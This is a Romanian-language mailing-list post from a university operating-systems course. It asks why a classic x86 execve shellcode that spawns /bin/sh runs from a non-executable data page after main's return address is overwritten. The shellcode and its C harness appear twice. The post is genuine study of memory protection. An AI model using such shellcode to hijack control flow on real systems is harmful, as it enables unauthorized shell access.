[so] pagini si drepturi de executie in Linux. security. (textul corect, v2)

Alexandru Goia goia.alexandru.linux at gmail.com
Tue Jun 5 19:37:03 EEST 2012


Buna ziua,

Sa zicem ca avem urmatorul cod sursa :

char sc[]=              /* 24 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

main()
{
        int *ret;

        ret = (int *)&ret + 2;
        *ret = sc;

}

Ce se intampla in sc[] este un apel execve, pentru un shell (/bin/bash).

Problema/intrebarea este : DE CE acest cod functioneaza ? (Linux Intel
32-bit),
caci daca compilam si rulam pmap si gdb pe el, vedem o pagina read & exec,
de la adresa 0x08048000, in care se alfa main(), si o pagina read & write
(but no exec),
in care se afla sc[], de la adresa 0x08049000.

In main, tot ce facem este sa suprascriem pe stiva (care este read & write)
adresa de return a lui main(), care suprascrisa trimite la cod executabil
de la
adresa lui sc[], dar sc[] este intr-o pagina fara drept de executie.

So, DE CE functioneaza, totusi ?

Am testat acest program si pe procesoare cu NX-bit, si cu kernel NX enabled,
si pe procesoare mai vechi, fara NX-bit, dar care au si ele kernel ce face
rwx pe pagini.
(Slackware Linux 13.1, 32-bit, Linux kernel 2.6.33.4, GCC 4.4.4 : ambele
cazuri).


Partea a 2-a :

Daca adaugam un apel de functie la sfarsitul lui main(), de exemplu ca mai
jos,
vom obtine de fiecare data segmentation fault.

Intrebare : DE CE aici nu "merge", si mai sus "merge" ?

#include <stdio.h>

char sc[]=              /* 24 bytes                       */
    "\x31\xc0"             /* xorl    %eax,%eax              */
    "\x50"                 /* pushl   %eax                   */
    "\x68""//sh"           /* pushl   $0x68732f2f            */
    "\x68""/bin"           /* pushl   $0x6e69622f            */
    "\x89\xe3"             /* movl    %esp,%ebx              */
    "\x50"                 /* pushl   %eax                   */
    "\x53"                 /* pushl   %ebx                   */
    "\x89\xe1"             /* movl    %esp,%ecx              */
    "\x99"                 /* cdql                           */
    "\xb0\x0b"             /* movb    $0x0b,%al              */
    "\xcd\x80"             /* int     $0x80                  */
;

main()
{
        int *ret;

        ret = (int *)&ret + 2;
        *ret = sc;

         printf("Security\n");
}


Referinte :
http://www.enderunix.org/docs/en/bof-eng.txt
http://www.phrack.org/issues.html?issue=49&id=14#article

Cu gandul ca doar cu o cunoastere temeinica a subiectului
si a feature-urilor de securitate pe care le ofera sistemul de operare
putem dormi linistiti daca avem servere conectate la Internet :-),
va multumesc,
Alexandru
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://cursuri.cs.pub.ro/pipermail/so/attachments/20120605/2fc675af/attachment.htm>


More information about the so mailing list